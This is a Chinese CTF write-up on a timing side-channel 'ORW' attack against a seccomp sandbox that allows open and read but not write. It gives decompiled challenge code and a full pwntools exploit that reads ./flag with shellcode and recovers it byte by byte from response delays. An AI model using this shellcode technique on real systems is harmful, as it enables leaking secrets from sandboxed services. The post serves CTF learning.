ORW-测信道攻击
做SCTF时碰到一个没看过的题型,比赛结束之后才知道是orw的一个玩法,测信道攻击。主要特点就是只给使用open,read,但是不给write,即无法把flag输出到终端。这里可以通过把flag读到栈上,再逐个爆破比较,来确定flag。原理和web的时间盲注类似。
下面给出一个UNCTF的测信道攻击的例题:
1 __int64 __fastcall main(__int64 a1, char **a2, char **a3)
2 {
3 unsigned int v3; // eax
4 __int64 v5; // [rsp+50h] [rbp-40h]
5 __int64 v6; // [rsp+58h] [rbp-38h]
6 __int128 buf; // [rsp+60h] [rbp-30h] BYREF
7 __int64 v8; // [rsp+70h] [rbp-20h]
8 unsigned __int64 v9; // [rsp+80h] [rbp-10h]
9
10 v9 = __readfsqword(0x28u);
11 sub_AE0(a1, a2, a3);
12 buf = 0LL;
13 v8 = 0LL;
14 puts("Are you a shellcode master?");
15 alarm(0x14u);
16 v3 = getpagesize();
17 v6 = (int)mmap((void *)0x1000, v3, 7, 34, 0, 0LL);
18 read(0, &buf, 0x18uLL);
19 prctl(38, 1LL, 0LL, 0LL, 0LL);
20 v5 = seccomp_init(0LL);
21 seccomp_rule_add(v5, 2147418112LL, 15LL, 0LL);
22 seccomp_rule_add(v5, 2147418112LL, 2LL, 0LL);
23 seccomp_rule_add(v5, 2147418112LL, 0LL, 0LL);
24 seccomp_rule_add(v5, 2147418112LL, 10LL, 0LL);
25 seccomp_load(v5);
26 *(_QWORD *)(v6 + 16) = v8;
27 *(_OWORD *)v6 = buf;
28 ((void (__fastcall *)(__int64, __int64))v6)(3735928559LL, 4919LL);
29 return 0LL;
30 }
主函数的开头mmap了一块大空间,然后读入数据到buf,接着会把分配的那块内存的开头赋为我们刚刚读入的内容,并且执行。
读入的0x18并不足够写入整个orw_shellcode,所以我们先写入一个shellcode来读取内容,再进行爆破。
下面是exp:
1 import time
2 from pwn import *
3
4 context.arch='amd64'
5
6 def getshellcode():
7 global s
8 shellcode = '''
9 mov rdi, 0
10 mov rsi, 0x10018
11 mov rdx, 0x250
12 syscall
13 nop
14 '''
15 s.recvline()
16 s.send(asm(shellcode))
17 sleep(0.1)
18
19 def pwn():
20 global s
21 flag = ''
22 count = 1
23 for i in range (len(flag),0x50):
24 left = 32
25 right = 127
26 while left < right:
27 s = process('./ezshell')
28 #s = remote('node2.hackingfor.fun',38235)
29 getshellcode()
30 mid = (left + right) >> 1
31 orw_shellcode = f'''
32 mov rdi, 0x67616c662f2e
33 push rdi
34 mov rdi, rsp
35 mov rsi, 0
36 mov rdx, 0
37 mov rax, 2
38 syscall
39 mov rdi, 3
40 mov rsi, rsp
41 mov rdx, 0x100
42 mov rax, 0
43 syscall
44 mov dl, byte ptr [rsp+{i}]
45 mov cl, {mid}
46 cmp dl, cl
47 ja loop
48 ret
49 loop:
50 jmp loop
51 '''
52 s.sendline(asm(orw_shellcode))
53 start_time = time.time()
54 try:
55 s.recv(timeout=0.2)
56 if(time.time() - start_time > 0.1):
57 left = mid + 1
58 except:
59 right = mid
60 s.close()
61 log.info('time-->'+str(count))
62 log.info(flag)
63 count +=1
64 flag += chr(left)
65 log.info(flag)
66 if(flag[-1] == '}'):
67 break
68 pwn()
69 s.interactive()
题目附件
提取码:2efj
ORW-测信道攻击的更多相关文章
- 嵌入式 -- WINKHUB 边信道攻击 (NAND Glitch)
0x00 前言 随着物联网IOT的飞速发展,各类嵌入式设备, 路由器安全研究也越来越火. 但因为跟以往纯软件安全研究的要求不同, 这类研究往往需要结合相应的硬件知识. 很多朋友困惑如何开始, 甚至卡在 ...
- intel:spectre&Meltdown侧信道攻击(三)—— raw hammer
今天介绍raw hammer攻击的原理:这次有点“标题党”了.事实上,raw hammer是基于DRAM内存的攻击:所以理论上,只要是用了DRAM内存的设备,不论是什么cpu(intel.amd,或则 ...
- intel:spectre&Meltdown侧信道攻击(一)
只要平时对安全领域感兴趣的读者肯定都听过spectre&Meltdown侧信道攻击,今天简单介绍一下这种攻击的原理( https://www.bilibili.com/video/av1814 ...
- 第四十三个知识点:为AES描述一些基础的(可能无效)的对抗侧信道攻击的防御
第四十三个知识点:为AES描述一些基础的(可能无效)的对抗侧信道攻击的防御 原文地址:http://bristolcrypto.blogspot.com/2015/07/52-things-numbe ...
- 第四十五个知识点:描述一些对抗RSA侧信道攻击的基础防御方法
第四十五个知识点:描述一些对抗RSA侧信道攻击的基础防御方法 原文地址:http://bristolcrypto.blogspot.com/2015/08/52-things-number-45-de ...
- 侧信道攻击,从喊666到入门之——Unicorn的环境构建
作者:backahasten 发表于小米安全中心微信公众号 0x00 前言 Unicorn可以模拟多种指令集的代码,在很多安全研究领域有很强大的作用,但是由于需要从头自己布置栈空间,代码段等虚拟执行环 ...
- intel:spectre&Meltdown侧信道攻击(四)—— cache mapping
前面简单介绍了row hammer攻击的原理和方法,为了更好理解这种底层硬件类攻击,今天介绍一下cpu的cache mapping: 众所周知,cpu从内存读数据,最开始用的是虚拟地址,需要通过分页机 ...
- intel:spectre&Meltdown侧信道攻击(二)
上面一篇介绍了spectre&meltdown基本原理和简单的demo方案,今天继续学习一下该漏洞发现团队原始的POC:https://spectreattack.com/spectre.pd ...
- intel:spectre&Meltdown侧信道攻击(五)—— DRAM address mapping
前面介绍了row hammer,理论上很完美,实际操作的时候会面临很尴尬的问题:内存存储数据最小的单位是cell(就是个电容,充电是1,放电是0),无数个横着的cell组成row,无数个竖着的cell ...
随机推荐
- Rust 总章
1.1 Rust安装 3.5 Rust Generic Types, Traits, and Lifetimes 3.6 String 与 切片&str的区别 https://openslr. ...
- App内容分享
1.发送文本内容 发送简单的数据到其他应用,比如社交分分享的内容,意图允许用户快速而方便的共享信息. //分享简单的文本内容 public void btnShareText(View view) { ...
- Linux基础命令---exportfs管理挂载的nfs文件系统
exportfs exportfs主要用于管理当前NFS服务器的文件系统. 此命令的适用范围:RedHat.RHEL.Ubuntu.CentOS.Fedora. 1.语法 /usr/sb ...
- 用户创建firefox配置文件
1.打开cmd进放 firefox.exe所在的目录 如:D:\>cd D:\Mozilla Firefox 2.运行如命令:D:\Mozilla Firefox>firefox.exe ...
- springmvc资源文件访问不到,undefined,jsp引用js文件目录
资源访问失败: 该模块下springmvc.xml文件中添加配置: <mvc:resources mapping="/js/**" location="/js/&q ...
- MyBatis中关于大于,小于写法
第一种写法(1): 原符号 < <= > >= & ' " 替换符号 < <= > >= & ' " ...
- 第一章-Flink介绍-《Fink原理、实战与性能优化》读书笔记
Flink介绍-<Fink原理.实战与性能优化>读书笔记 1.1 Apache Flink是什么? 在当代数据量激增的时代,各种业务场景都有大量的业务数据产生,对于这些不断产生的数据应该如 ...
- 【C/C++】从矩阵左上角走到右下角
tx的笔试,但是只过了10%,就离谱 #include <bits/stdc++.h> using namespace std; const int maxn = 1010; long d ...
- 30个类手写Spring核心原理之AOP代码织入(5)
本文节选自<Spring 5核心原理> 前面我们已经完成了Spring IoC.DI.MVC三大核心模块的功能,并保证了功能可用.接下来要完成Spring的另一个核心模块-AOP,这也是最 ...
- 时间同步——TSN协议802.1AS介绍
前言之前的主题TSN的发展历史和协议族现状介绍了TSN技术的缘起,最近一期的主题TSN协议导读从定时与同步.延时.可靠性.资源管理四个方面,帮助大家了解TSN协议族包含哪些子协议,以及这些子协议的作用 ...